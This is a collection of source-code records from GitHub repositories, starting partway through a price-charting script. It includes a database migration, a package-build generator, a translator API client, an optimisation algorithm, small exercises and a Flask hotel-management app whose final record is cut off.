convertTimestampStrToDatetime2(marketDataTimestampStr)\n \n if currMarketDataDt.date() == ephemerisDt.date():\n # This is what we're looking for. The dates match. Store\n # the data connected to this row.\n marketDataDt = currMarketDataDt\n highPriceStr = currHighPriceStr\n lowPriceStr = currLowPriceStr\n \n # Increment the index of where we are in the market data\n # so we don't have to search from the beginning all over\n # again when we look at the next ephemeris timestamp.\n currIndexInMarketData = k + 1\n break\n \n elif currMarketDataDt.date() < ephemerisDt.date():\n # Market data date is currently before the ephemeris date.\n # Look at the next market data date...\n currIndexInMarketData = k + 1\n continue\n \n elif currMarketDataDt.date() > ephemerisDt.date():\n # The current market data date is after the current\n # ephemeris date. Break out of this for loop until we get\n # to that matching date in the ephemeris timestamps.\n \n # This date for the ephemeris doesn't appear to have a\n # matching market date (the ephemeris date might be a\n # weekend), so we'll set the market data values we are\n # looking for to None.\n marketDataDt = None\n highPriceStr = None\n lowPriceStr = None\n \n break\n\n # See if we found market data matching this ephemeris timestamp date.\n if marketDataDt != None and \\\n highPriceStr != None and \\\n lowPriceStr != None:\n\n log.debug(\"We found market data matching ephemeris timestamp: {}\".\\\n format(ephemerisDt))\n \n # We have high and low price data matching the ephemeris\n # timestamp date.\n \n # Append the high and low prices to the row.\n listOfOutputEphemerisColumns[i][j] += \\\n \",\" + highPriceStr + \",\" + lowPriceStr\n \n log.debug(\"listOfOutputEphemerisColumns[{}][{}] == {}\".\\\n format(i, j, listOfOutputEphemerisColumns[i][j]))\n \n else:\n log.debug(\"We DID NOT find market data matching ephemeris timestamp: {}\".format(ephemerisDt))\n \n # We don't have any price data matching the ephemeris\n # timestamp date. Use blank values for the high and low prices.\n listOfOutputEphemerisColumns[i][j] += \",\" + \",\"\n\n log.debug(\"listOfOutputEphemerisColumns[{}][{}] == {}\".\\\n format(i, j, listOfOutputEphemerisColumns[i][j]))\n \n \n\n\n# Debug output:\nfor i in range(0, len(listOfOutputEphemerisColumns)):\n repeatRowsList = listOfOutputEphemerisColumns[i]\n for j in range(0, len(repeatRowsList)):\n row = repeatRowsList[j]\n log.debug(\"row for [{}][{}] == {}\".format(i, j, row))\n#shutdown(0)\n\n# Write to output file.\nlog.info(\"Writing to output file: '{}' ...\".format(outputFilename))\n\n# String used for when there is no more data for this 'repeat' row.\nemptyRepeatRowLine = \",,,,\"\n\noutputHeaderLine = \"\"\nfor i in range(0, len(listOfOutputEphemerisColumns)):\n multipleOfOffsetToSubtract = i - 1\n if multipleOfOffsetToSubtract < 0:\n outputHeaderLine += \"Timestamp,{},{},HighPrice,LowPrice,\".\\\n format(headerStrForPlanetMeasurement,\n headerStrForPlanetMeasurement)\n else:\n outputHeaderLine += \"Timestamp,{},{}-({}*{}),HighPrice,LowPrice,\".\\\n format(headerStrForPlanetMeasurement,\n headerStrForPlanetMeasurement,\n multipleOfOffsetToSubtract,\n modOffsetPerColumnRepeat)\n \n# Strip off the trailing comma.\nif len(outputHeaderLine) > 0:\n outputHeaderLine = outputHeaderLine[:-1]\n \ntry:\n with open(outputFilename, \"w\", encoding=\"utf-8\") as f:\n endl = \"\\n\"\n f.write(outputHeaderLine + endl)\n\n # Keep looping until there are no more rows written.\n rowWasWritten = True\n\n # Current index into all the repeats.\n repeatRowIndex = 0\n \n while rowWasWritten == True:\n # Reset the loop condition varible.\n rowWasWritten = False\n\n line = \"\"\n for i in range(0, len(listOfOutputEphemerisColumns)):\n \n repeatRowsList = listOfOutputEphemerisColumns[i]\n\n if repeatRowIndex < len(repeatRowsList):\n row = repeatRowsList[repeatRowIndex]\n\n log.debug(\"row == {}\".format(row))\n \n line += row + \",\"\n \n log.debug(\"line == {}\".format(line))\n \n rowWasWritten = True\n else:\n line += emptyRepeatRowLine + \",\"\n\n # Remove the trailing comma.\n line = line[:-1]\n\n # Write the line to file.\n f.write(line + endl)\n \n # Increment the repeatRowIndex.\n repeatRowIndex += 1\n \nexcept IOError as e:\n errStr = \"I/O Error while trying to write file '\" + \\\n outputFilename + \"':\" + os.linesep + str(e)\n log.error(errStr)\n shutdown(1)\n\n\nlog.info(\"Done.\")\nshutdown(0)\n\n##############################################################################\n","repo_name":"rluu/pricechartingtool","sub_path":"misc/EphemerisGeneration/cycleOfRepetition/makeCycleOfRepetitionSpreadsheet.py","file_name":"makeCycleOfRepetitionSpreadsheet.py","file_ext":"py","file_size_in_byte":72159,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"39"} +{"seq_id":"26771136542","text":"\"\"\"fixed customers constraints\n\nRevision ID: f803eda7c3aa\nRevises: c4a9e4ab3bce\nCreate Date: 2016-04-18 22:30:03.225949\n\n\"\"\"\n\n# revision identifiers, used by Alembic.\nrevision = 'f803eda7c3aa'\ndown_revision = 'c4a9e4ab3bce'\n\nfrom alembic import op\nimport sqlalchemy as sa\n\n\ndef upgrade():\n op.drop_index('name', table_name='customers')\n op.drop_index('tax_id', table_name='customers')\n op.create_unique_constraint(None, 'customers', ['user_id', 'tax_id'])\n op.create_unique_constraint(None, 'customers', ['user_id', 'name'])\n\n\ndef downgrade():\n op.drop_constraint(None, 'customers', type_='unique')\n op.drop_constraint(None, 'customers', type_='unique')\n op.create_index('tax_id', 'customers', ['tax_id'], unique=True)\n op.create_index('name', 'customers', ['name'], unique=True)\n","repo_name":"skazi0/yaia","sub_path":"migrations/versions/f803eda7c3aa_fixed_customers_constraints.py","file_name":"f803eda7c3aa_fixed_customers_constraints.py","file_ext":"py","file_size_in_byte":804,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"32162057946","text":"import hashlib\nimport os\nimport subprocess\nimport sys\n\nfrom jinja2 import Environment, FileSystemLoader\nimport requests\n\n\nversion = sys.argv[1]\nbuild_number = sys.argv[2]\n\n\ndef md5sum(url):\n response = requests.get(url, stream=True)\n hash_md5 = hashlib.md5()\n for chunk in response.iter_content(chunk_size=512):\n hash_md5.update(chunk)\n return hash_md5.hexdigest()\n\n\ncontext = {\n 'version': version,\n 'build_number': build_number,\n 'description': 'Cloud Station Backup is a backup service that allows you to back up your files from multiple client computers to a centralized Synology NAS.',\n}\nbuild_path = 'builds/{version}-{build_number}'.format(**context)\nsource_i686 = 'https://global.download.synology.com/download/Tools/CloudStationBackup/{version}-{build_number}/Ubuntu/Installer/i686/synology-cloud-station-backup-{build_number}.i686.deb'.format(**context)\nsource_x86_64 = 'https://global.download.synology.com/download/Tools/CloudStationBackup/{version}-{build_number}/Ubuntu/Installer/x86_64/synology-cloud-station-backup-{build_number}.x86_64.deb'.format(**context)\n\ncontext.update({\n 'source_i686': source_i686,\n 'source_x86_64': source_x86_64,\n 'md5sum_i686': md5sum(source_i686),\n 'md5sum_x86_64': md5sum(source_x86_64),\n})\n\nenv = Environment(\n loader=FileSystemLoader('templates'),\n)\n\ntemplate = env.get_template('PKGBUILD')\n\npkgbuild = template.render(**context)\n\n\nif not os.path.exists(build_path):\n os.makedirs(build_path)\n\nwith open('%s/PKGBUILD' % build_path, 'w') as handler:\n handler.write(pkgbuild)\n\nsubprocess.run('makepkg --printsrcinfo > .SRCINFO',\n shell=True, cwd=build_path)\n\n","repo_name":"fmartingr/aur-cloudstation-backup-builder","sub_path":"build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":1667,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"73075699313","text":"import os, json, requests, collections, time, sys\nimport xml.etree.ElementTree as ET\n\naccess_token = collections.namedtuple('token_props', ['json', 'expires_epoch'])\n\n_cs = None\ndef _get_client_secret():\n global _cs\n if _cs is None:\n client_secret_file = os.path.expanduser('~/.azure/myapp.secret')\n if not os.path.isfile(client_secret_file):\n raise Exception('''\n You have to configure credentials before this script will work properly.\n Define an application for your account in the Microsoft Azure Marketplace.\n Then look up the application's \"Client secret\" and store its value in\n %s.\n \n (It's highly recommended that you restrict access to this file, such that\n it cannot be read, written, or deleted except by your account.)\n ''' % client_secret_file)\n with open(client_secret_file, 'r') as f:\n _cs = f.read().strip()\n return _cs\n\n\ndef get_root_inner_text(xml_bytes):\n e = ET.XML(xml_bytes, parser=ET.XMLParser(encoding=\"UTF-8\"))\n return e.text\n\nclass microsoft_translator:\n '''\n Transparently manages an access to the Microsoft Translator web service,\n including both language detection and translation.\n \n Requires a password in an external data file, plus some simple account\n setup as documented at http://j.mp/23IIweW. The token for credentials is\n automatically renewed each time it nears its 10 minute expiration.\n '''\n def __init__(self, should_trace=True):\n self._access_token = None\n self.should_trace = should_trace\n \n def trace(self, msg):\n if self.should_trace:\n print(msg)\n \n def _request_new_access_token(self):\n resp_time = time.time()\n params = {\n 'client_id': 'webpulse',\n 'client_secret': _get_client_secret(),\n 'scope': 'http://api.microsofttranslator.com',\n 'grant_type': 'client_credentials',\n }\n uri = 'https://datamarket.accesscontrol.windows.net/v2/OAuth2-13'\n self.trace('POST %s' % uri)\n resp = requests.post(uri, data=params)\n x = json.loads(resp.text)\n self._access_token = access_token(x, resp_time + 570)\n \n def _get_access_token(self):\n if self._access_token is None or (self._access_token.expires_epoch < time.time() - 30):\n self._request_new_access_token()\n return self._access_token\n \n def _get_credential(self):\n tok = self._get_access_token()\n return 'Bearer %s' % tok.json['access_token']\n \n def detect_lang(self, text):\n uri = 'http://api.microsofttranslator.com/v2/Http.svc/Detect'\n self.trace('GET %s' % uri)\n resp = requests.get(uri,\n params={'text': text},\n headers={'Authorization': self._get_credential()})\n return get_root_inner_text(resp.content)\n \n def translate(self, text, source_lang_code, target_lang_code):\n uri = 'http://api.microsofttranslator.com/v2/Http.svc/Translate'\n self.trace('GET %s' % uri)\n resp = requests.get(uri,\n params={'from': source_lang_code,\n 'to': target_lang_code,\n 'text': text},\n headers={'Authorization': self._get_credential()})\n return get_root_inner_text(resp.content)\n \nif __name__ == '__main__':\n # Make sure we have credentials configured properly.\n _get_client_secret()\n mt = microsoft_translator()\n try:\n while True:\n sys.stdout.write('Enter some English text (CTRL+C to quit): ')\n src_txt = raw_input()\n tgt_txt = mt.translate(src_txt, 'en', 'es')\n print(tgt_txt)\n except KeyboardInterrupt:\n sys.stdout.write('\\n')\n","repo_name":"dhh1128/azure-samples","sub_path":"mstrans.py","file_name":"mstrans.py","file_ext":"py","file_size_in_byte":3805,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"35727486166","text":"import time\r\nimport timeit\r\n\r\ndef ler_arquivo(nome):\r\n arq = open(nome, 'r')\r\n conteudo = arq.read()\r\n r = conteudo.split('\\n')\r\n arq.close()\r\n return r\r\n\r\ndef acha_numero(lista):\r\n n = lista[0]\r\n conjunto = lista[2:-1]\r\n for i in conjunto:\r\n if i == n:\r\n return (True,conjunto.index(i))\r\n\r\n return (False, -1)\r\n\r\n#########################################\r\narquivos = ['dataset-1-a.csv','dataset-1-b.csv','dataset-1-c.csv']\r\n\r\nfor i in arquivos:\r\n\r\n inicio = timeit.default_timer()\r\n saida = acha_numero(ler_arquivo(i))\r\n fim = timeit.default_timer()\r\n\r\n novo_arq = open('resposta-'+i, 'w')\r\n novo_arq.write(\r\n str(saida[0])+'\\n'+\r\n str(saida[1])+'\\n'+\r\n str(fim-inicio))\r\n novo_arq.close()","repo_name":"cleiton016/Analise-de-algoritimos","sub_path":"script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":762,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"37778159246","text":"#!/usr/bin/env python\n#created at 2019/11/5 差分进化算法解决f(x,y)=-((x^2+y-1)^2+(x+y^2-7)^2)/200+10最大值问题\n\nimport math\nimport random\nimport numpy as np\nfrom matplotlib import cm\nfrom matplotlib import pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom matplotlib.ticker import FuncFormatter\n\n#parameters\nNP=20 #count of population\nD=2 #count of genes\nG=100 #count of generation\nF=0.5 #initial mutation factor\nCR=0.1 #crossover factor\nXs=100 #upper bound\nXx=-100 #lower bound\n\n#initialize population\nx=np.zeros((NP,D))\nv=np.zeros((NP,D))\nu=np.zeros((NP,D))\nx=np.random.randint(Xx,Xs+1,size=(NP,D))\nOb=(-((x[:,0]**2+x[:,1]-1)**2+(x[:,0]+x[:,1]**2-7)**2)/200+10).reshape(NP,1)\ntrace=np.zeros(G)\ntrace[0]=max(Ob)\n\n#DE iteration\nfor gen in range(G):\n\n\t#mutation operator\n\tfor m in range(NP):\n\t\tr1=random.randint(0,NP-1) #closed interval [a,b]\n\t\twhile(r1==m):\n\t\t\tr1=random.randint(0,NP-1)\n\t\tr2=random.randint(0,NP-1)\n\t\twhile(r2==m or r2==r1):\n\t\t\tr2=random.randint(0,NP-1)\n\t\tr3=random.randint(0,NP-1)\n\t\twhile(r3==m or r3==r2 or r3==r1):\n\t\t\tr3=random.randint(0,NP-1)\n\t\tv[m,:]=np.floor((x[r1,:]+F*(x[r2,:]-x[r3,:])))\n\n\t#crossover operator\n\tr=random.randint(0,D-1)\n\tfor n in range(D):\n\t\tcr=random.random()\n\t\tif(cr<=CR or n==r):\n\t\t\tu[:,n]=v[:,n]\n\t\telse:\n\t\t\tu[:,n]=x[:,n]\n\n\t#bondary condition\n\tu=np.where(uXs,Xs,u) #vetorize the ndarray\n\n\t#select operator\n\tOb1=(-((u[:,0]**2+u[:,1]-1)**2+(u[:,0]+u[:,1]**2-7)**2)/200+10).reshape(NP,1)\n\tx=np.where(Ob1>Ob,u,x)\n\tOb=(-((x[:,0]**2+x[:,1]-1)**2+(x[:,0]+x[:,1]**2-7)**2)/200+10).reshape(NP,1)\n\ttrace[gen]=max(Ob)\n\ndef format_tick(x,pos):\n return '$%d$' % (x/100000)\n\ndef format_bar(x,pos):\n return r'${0}$'.format(int(x/100000))\n\nplt.rc('font',family='Times New Roman') #配置全局字体\nplt.rcParams['mathtext.default']='regular' #配置数学公式字体\nplt.rcParams['lines.linewidth']=3 #配置��条宽度\nplt.rcParams['lines.markersize']=7 #配置标记大小\nplt.rcParams['font.size']=16\nfig=plt.figure(figsize=(16,6))\n\nax1=fig.add_subplot(121,projection='3d')\nX=np.arange(-100,100,1).reshape(200,1)\nY=np.arange(-100,100,1).reshape(1,200)\nZ=(-((X**2+Y-1)**2+(X+Y**2-7)**2)/200+10)\nsurf=ax1.plot_surface(X,Y,Z,cmap=cm.coolwarm,linewidth=0,antialiased=False)\nformatter=FuncFormatter(format_tick)\nax1.zaxis.set_major_formatter(formatter) #刻度缩小100000倍\nax1.tick_params(labelsize=18) #setting fontsize of [x|y|z]ticks\nax1.text(85,130,0,r'$×10^5$')\nfig.colorbar(surf,shrink=0.5,aspect=5,format=FuncFormatter(format_bar))\n\nax2=fig.add_subplot(122)\nax2.plot(trace)\nplt.xticks(fontsize=18)\nplt.yticks(fontsize=18)\nplt.show()\n","repo_name":"Rasic2/Intelligent-Algorithm","sub_path":"Differential-Evolution/Ex3/Ex3.py","file_name":"Ex3.py","file_ext":"py","file_size_in_byte":2671,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"20655155233","text":"import config\nfrom imutils import paths\nimport cv2\nimport numpy as np\nfrom pathlib import Path\n\n'''\ninputs = sorted(list(paths.list_images(config.IMAGE_DATASET_PATH)))\nmasks = sorted(list(paths.list_images(config.MASK_DATASET_PATH)))\n\nindices = []\nfor i in range(len(masks)):\n m = cv2.imread(masks[i], 0)\n if np.any(m):\n indices.append(i)\n\ninputs = np.array(inputs)[indices]\nmasks = np.array(masks)[indices]\n\n\nimport shutil\nfor input in inputs:\n shutil.copy(input, config.IMAGE_HAEM_DATASET_PATH)\n\nfor mask in masks:\n shutil.copy(mask, config.MASK_HAEM_DATASET_PATH)\n\n'''\n\ninputs = sorted(list(paths.list_images(config.IMAGE_HAEM_DATASET_PATH)))\nmasks = sorted(list(paths.list_images(config.MASK_HAEM_DATASET_PATH)))\n\nfor i in range(len(inputs)):\n name = Path(inputs[i]).stem\n img_input = cv2.imread(inputs[i], 0)\n img_mask = cv2.imread(masks[i], 0)\n\n height, width = img_input.shape\n\n\n div = 4\n length = int(512 / div)\n for x in range(0,div):\n for y in range(0,div):\n new_quadrant = img_mask[x*length:(x+1)*length, y*length:(y+1)*length]\n if np.any(new_quadrant):\n cv2.imwrite(\"%s\\\\%s_%i_%i.png\" % (config.MASK_HAEM_4_DATASET_PATH, name, x, y), new_quadrant)\n cv2.imwrite(\"%s\\\\%s_%i_%i.png\" % (config.IMAGE_HAEM_4_DATASET_PATH, name, x, y), img_input[x*length:(x+1)*length, y*length:(y+1)*length])","repo_name":"GrowlingM1ke/vision-2022-final-project","sub_path":"processing.py","file_name":"processing.py","file_ext":"py","file_size_in_byte":1397,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"19664939337","text":"class Vehiculo:\n def __init__(self, marca=str, ruedas=int, color=str, enMarcha=bool):\n self.marca = marca\n self.ruedas = ruedas\n self.color = color\n self.enMarcha = enMarcha\n\n def arrancar(self, estado):\n if self.enMarcha == True:\n estado = 'Automovil encendido'\n else:\n estado = 'Automovil apagado'\n return estado\n\n def tipoVehiculo(self, tipo):\n if self.ruedas == 4:\n tipo = 'Automovil'\n elif self.ruedas == 2:\n tipo = 'Motocicleta'\n else:\n tipo = 'Vehiculo desconocido'\n return tipo\n\n def mostrar(self):\n tipo = self.tipoVehiculo(self.ruedas)\n estado = self.arrancar(self.enMarcha)\n return f'''\n Marca: {self.marca}\n Tipo de Vehiculo: {tipo}\n Color: {self.color}\n Estado: {estado}\n '''\n\n\nvehiculo1 = Vehiculo('Toyota', 2, 'Negro', False)\nprint(vehiculo1.mostrar())","repo_name":"LeandroMurzyla/programacion-II-python","sub_path":"POO/PrePractica_03-POO.py","file_name":"PrePractica_03-POO.py","file_ext":"py","file_size_in_byte":967,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"16405660010","text":"from game2d import *\r\nfrom actor import Actor, Arena\r\n\r\nclass FallingBall(Actor):\r\n \r\n W, H = 20, 20\r\n ARENA_W, ARENA_H = 1000,1000\r\n\r\n def __init__(self, x: int, y: int):\r\n self._x = x\r\n self._y = y\r\n self._dx = 5\r\n self._dy = 5\r\n self._g = 9.81\r\n\r\n def move(self):\r\n if not (0 <= self._x + self._dx <= FallingBall.ARENA_W - FallingBall.W):\r\n self._dx = -self._dx\r\n if not (0 <= self._y + self._dy <= FallingBall.ARENA_H - FallingBall.H):\r\n self._dy = -self._dy\r\n self._dy = -100\r\n\r\n self._x += self._dx\r\n self._y += self._dy\r\n self._dy += self._g\r\n \r\n def rect(self) -> (int, int, int, int):\r\n return (self._x, self._y, FallingBall.W, FallingBall.H)\r\n\r\n def collide(self, other: Actor):\r\n '''Called by Arena, when the actor collides with another one\r\n Args:\r\n other: Actor -- the other actor involved in the collision\r\n '''\r\n return\r\n\r\n def symbol(self) -> (int, int):\r\n '''Return (0, 0) or the (x, y) position of current sprite in a\r\n larger image, containing more sprites\r\n Returns:\r\n (int, int) -- the position of current sprite\r\n '''\r\n return\r\n \r\n\r\nclass Plane(Actor):\r\n \r\n W, H = 35, 35\r\n ARENA_W, ARENA_H = 1000,1000\r\n \r\n def __init__(self, x: int, y: int):\r\n self._x = x\r\n self._y = y\r\n self._dx = 10\r\n self._aftercollision = 0\r\n\r\n def move(self):\r\n if not (0 <= self._x + self._dx <= Plane.ARENA_W - Plane.W):\r\n self._dx = -self._dx\r\n\r\n if self._aftercollision > 0:\r\n self._aftercollision -= 1\r\n \r\n self._x += self._dx\r\n\r\n def rect(self) -> (int, int, int, int):\r\n return (self._x, self._y, Plane.W, Plane.H)\r\n\r\n def collide(self, other: Actor):\r\n '''Called by Arena, when the actor collides with another one\r\n Args:\r\n other: Actor -- the other actor involved in the collision\r\n '''\r\n if (isinstance (other, FallingBall) and self._aftercollision == 0):\r\n self._dx = -self._dx\r\n self._aftercollision = 60\r\n\r\n def symbol(self) -> (int, int):\r\n '''Return (0, 0) or the (x, y) position of current sprite in a\r\n larger image, containing more sprites\r\n Returns:\r\n (int, int) -- the position of current sprite\r\n '''\r\n return\r\n \r\n \r\ndef update():\r\n canvas_fill(canvas, (0, 0, 0))\r\n arena.move_all()\r\n for a in arena.actors():\r\n x1, y1, aw, ah = a.rect()\r\n draw_rect(canvas, (0, 255, 255), (x1, y1, 50, 50))\r\n\r\narena = Arena(1000,1000)\r\n\r\nf1 = FallingBall(10,10)\r\nf2 = FallingBall(70,70)\r\np1 = Plane(1,350)\r\np2 = Plane(1,250)\r\np3 = Plane(1,150)\r\n\r\narena.add(f1)\r\narena.add(f2)\r\narena.add(p1)\r\narena.add(p2)\r\narena.add(p3)\r\n\r\ncanvas = canvas_init((1000,1000))\r\nset_interval(update, 1000 // 30)\r\n","repo_name":"netpawn/UNI-Cpp-Python-Intro-Course","sub_path":"4.4.py","file_name":"4.4.py","file_ext":"py","file_size_in_byte":2990,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"39"} +{"seq_id":"71812322034","text":"from flask import url_for, redirect, render_template, flash, g, session\nfrom flask_login import login_user, logout_user, current_user, login_required\nfrom app import app, login_manager\nfrom app.forms import CreateUserForm, LoginForm, VerificarDisponibilidade\nfrom app.models import User, Hotels\nfrom app import db, bcrypt\nfrom app.scripts.adicionar_hotel import adicionar_hotel, listar_hoteis, editar_hotel, deletar_hotel\nfrom app.scripts.ocupacao_quartos import adicionar_quarto, ocupacao_quartos, editar_quarto, deletar_quarto\nfrom app.scripts.adicionar_reserva import adicionar_reserva, listar_reservas, verificar_disponibilidade, alterar_reserva, cancelar_reserva\nfrom app.scripts.adicionar_hospede import adicionar_hospede, listar_hospedes, editar_hospede, deletar_hospede\nfrom app.scripts.usuarios import listar_usuarios, deletar_usuario, editar_usuario\nfrom app.scripts.financeiro import adicionar_conta, listar_contas, editar_conta, deletar_conta\nfrom app.scripts.estoque import adicionar_estoque, listar_estoque, editar_estoque, deletar_estoque\nfrom app.scripts.dashboard import dashboard\n\n\n@app.route('/')\ndef pagina_inicial():\n if g.user is not None and g.user.is_authenticated:\n return redirect(url_for('lista_hotel'))\n return render_template('index.html')\n\n\n@login_manager.user_loader\ndef load_user(id):\n return User.query.get(int(id))\n\n\n# @app.route('/list/')\n# def posts():\n# \treturn render_template('list.html')\n\n\n@app.route('/new/')\n@login_required\ndef new():\n user_id = g.user.get_id()\n form = CreateUserForm()\n usuario = User.query.filter_by(id=user_id).first()\n\n if usuario.profile not in ['admin', 'gerente']:\n return '

Erro! Você não pode acessar este conteúdo!

'\n\n if usuario.hotel_id is None:\n hoteis = Hotels.query.filter_by(user_id=user_id).order_by(Hotels.created_at)\n form.hotel_id.choices = [(hotel.id, hotel.name) for hotel in hoteis if hotel.user_id == user_id]\n else:\n hoteis = Hotels.query.filter_by(id=usuario.hotel_id).order_by(Hotels.created_at)\n form.hotel_id.choices = [(hotel.id, hotel.name) for hotel in hoteis]\n\n return render_template('new.html', form=form, hoteis=hoteis, usuario=usuario)\n\n\n@app.route('/save/', methods=['GET', 'POST'])\n# @login_required\ndef save():\n user_id = g.user.get_id()\n form = CreateUserForm()\n usuario = User.query.filter_by(id=user_id).first()\n\n if usuario.hotel_id is None:\n hoteis = Hotels.query.order_by(Hotels.created_at)\n form.hotel_id.choices = [(hotel.id, hotel.name) for hotel in hoteis if hotel.user_id == user_id]\n else:\n hoteis = Hotels.query.filter_by(id=usuario.hotel_id).order_by(Hotels.created_at)\n form.hotel_id.choices = [(hotel.id, hotel.name) for hotel in hoteis]\n\n if form.validate_on_submit():\n user = User.query.filter_by(email=form.email.data).first()\n if user:\n flash('E-mail já possui cadastrado.', 'danger')\n return redirect('/new')\n else:\n name = form.name.data\n email = form.email.data\n hotel_id = form.hotel_id.data\n profile = form.profile.data\n pwd = bcrypt.generate_password_hash(form.password.data)\n admin = User(name=name, password=pwd, profile=profile, email=email, password_confirmation=pwd,\n hotel_id=hotel_id)\n db.session.add(admin)\n db.session.commit()\n flash('Cadastro realizado com sucesso!', 'success')\n return redirect(url_for('new'))\n\n return render_template('new.html', form=form, usuario=usuario)\n\n\n# @app.route('/view//')\n# def view(id):\n# \treturn render_template('view.html')\n\n# # === User login methods ===\n\n@app.before_request\ndef before_request():\n g.user = current_user\n\n\n@app.context_processor\ndef navbar():\n form_reserva = VerificarDisponibilidade()\n return dict(form_reserva=form_reserva)\n\n\n@app.route('/login/', methods=['GET', 'POST'])\ndef login():\n if g.user is not None and g.user.is_authenticated:\n return redirect(url_for('new'))\n form = LoginForm()\n if form.validate_on_submit():\n user = User.query.filter_by(email=form.email.data).first()\n if user:\n if bcrypt.check_password_hash(user.password, form.password.data):\n user.authenticated = True\n db.session.add(user)\n db.session.commit()\n login_user(user, remember=True)\n if g.user.get_profile() == 'admin':\n return redirect(url_for(\"lista_hotel\"))\n else:\n return redirect(url_for(\"ocupacao_quartos_endpoint\", id=user.hotel_id))\n else:\n flash('Senha inválida. Tente novamente', 'danger')\n return redirect('/login')\n else:\n flash('E-mail não encontrado.', 'danger')\n return redirect(url_for('login'))\n\n return render_template('login.html',\n title='Sign In',\n form=form)\n\n\n@app.route('/logout/')\ndef logout():\n logout_user()\n return redirect(url_for('pagina_inicial'))\n\n\n@app.route('/lista-usuarios/')\n@login_required\ndef lista_usuarios_endpoint():\n user_id = g.user.get_id()\n return listar_usuarios(user_id)\n\n\n@app.route('/deletar-usuario/')\n@login_required\ndef deletar_usuario_endpoint(id):\n user_id = g.user.get_id()\n return deletar_usuario(id, user_id)\n\n\n@app.route('/editar-usuario/', methods=['GET', 'POST'])\n@login_required\ndef editar_usuario_endpoint(id):\n user_id = g.user.get_id()\n return editar_usuario(id, user_id)\n\n\n@app.route('/adicionar-hotel/', methods=['GET', 'POST'])\n@login_required\ndef adicionar_hotel_endpoint():\n user_id = g.user.get_id()\n return adicionar_hotel(user_id)\n\n\n@app.route('/lista-hotel/')\n@login_required\ndef lista_hotel():\n user_id = g.user.get_id()\n return listar_hoteis(user_id)\n\n\n@app.route('/editar-hotel/', methods=['GET', 'POST'])\n@login_required\ndef editar_hotel_endpoint(id):\n user_id = g.user.get_id()\n return editar_hotel(id, user_id)\n\n\n@app.route('/deletar-hotel/')\n@login_required\ndef deletar_hotel_endpoint(id):\n user_id = g.user.get_id()\n return deletar_hotel(id, user_id)\n\n\n@app.route('/adicionar-quarto/', methods=['GET', 'POST'])\n@login_required\ndef adicionar_quarto_endpoint():\n user_id = g.user.get_id()\n return adicionar_quarto(user_id)\n\n\n@app.route('/ocupacao-quartos/')\n@login_required\ndef ocupacao_quartos_endpoint(id):\n user_id = g.user.get_id()\n return ocupacao_quartos(id, user_id)\n\n\n@app.route('/deletar-quarto/')\n@login_required\ndef deletar_quarto_endpoint(id):\n user_id = g.user.get_id()\n return deletar_quarto(id, user_id)\n\n\n@app.route('/editar-quarto/', methods=['GET', 'POST'])\n@login_required\ndef editar_quarto_endpoint(id):\n user_id = g.user.get_id()\n return editar_quarto(id, user_id)\n\n\n@app.route('/adicionar-reserva', methods=['GET', 'POST'])\n@login_required\ndef adicionar_reserva_endpoint():\n user_id = g.user.get_id()\n return adicionar_reserva(user_id)\n\n\n@app.route('/adicionar-hospede', methods=['GET', 'POST'])\n@login_required\ndef adicionar_hospede_endpoint():\n user_id = g.user.get_id()\n return adicionar_hospede(user_id)\n\n\n@app.route('/lista-hospedes', methods=['GET', 'POST'])\n@login_required\ndef lista_hospedes_endpoint():\n user_id = g.user.get_id()\n return listar_hospedes(user_id)\n\n\n@app.route('/editar-hospede/', methods=['GET', 'POST'])\n@login_required\ndef editar_hospede_endpoint(id):\n user_id = g.user.get_id()\n return editar_hospede(id, user_id)\n\n\n@app.route('/deletar-hospede/', methods=['GET', 'POST'])\n@login_required\ndef deletar_hospede_endpoint(id):\n user_id = g.user.get_id()\n return deletar_hospede(id, user_id)\n\n\n@app.route('/lista-reservas/')\n@login_required\ndef lista_reservas():\n user_id = g.user.get_id()\n return listar_reservas(user_id)\n\n\n@app.route('/verificar-disponibilidade/', methods=['POST'])\n@login_required\ndef verificar_disponibilidade_endpoint():\n user_id = g.user.get_id()\n return verificar_disponibilidade(user_id)\n\n@app.route('/quartos_disponiveis', methods=['GET'])\n@login_required\ndef quartos_disponiveis():\n user_id = g.user.get_id()\n return verificar_disponibilidade(user_id)\n\n\n@app.route('/adicionar-conta', methods=['GET', 'POST'])\n@login_required\ndef adicionar_conta_endpoint():\n user_id = g.user.get_id()\n return adicionar_conta(user_id)\n\n\n@app.route('/listar-contas', methods=['GET', 'POST'])\n@login_required\ndef listar_conta_endpoint():\n user_id = g.user.get_id()\n return listar_contas(user_id)\n\n\n@app.route('/editar-conta/', methods=['GET', 'POST'])\n@login_required\ndef editar_conta_endpoint(id):\n user_id = g.user.get_id()\n return editar_conta(id, user_id)\n\n\n@app.route('/deletar-conta/', methods=['GET', 'POST'])\n@login_required\ndef deletar_conta_endpoint(id):\n user_id = g.user.get_id()\n return deletar_conta(id, user_id)\n\n\n@app.route('/alterar-reserva/', methods=['GET', 'POST'])\n@login_required\ndef alterar_reserva_endpoint(id):\n user_id = g.user.get_id()\n return alterar_reserva(id, user_id)\n\n@app.route('/cancelar-reserva/', methods=['GET', 'POST'])\n@login_required\ndef cancelar_reserva_endpoint(id):\n user_id = g.user.get_id()\n return cancelar_reserva(id, user_id)\n\n\n@app.route('/dashboard/', methods=['GET', 'POST'])\n@login_required\ndef dashboard_endpoint(id):\n user_id = g.user.get_id()\n return dashboard(id)\n\n\n@app.route('/adicionar-estoque', methods=['GET', 'POST'])\n@login_required\ndef adicionar_estoque_endpoint():\n 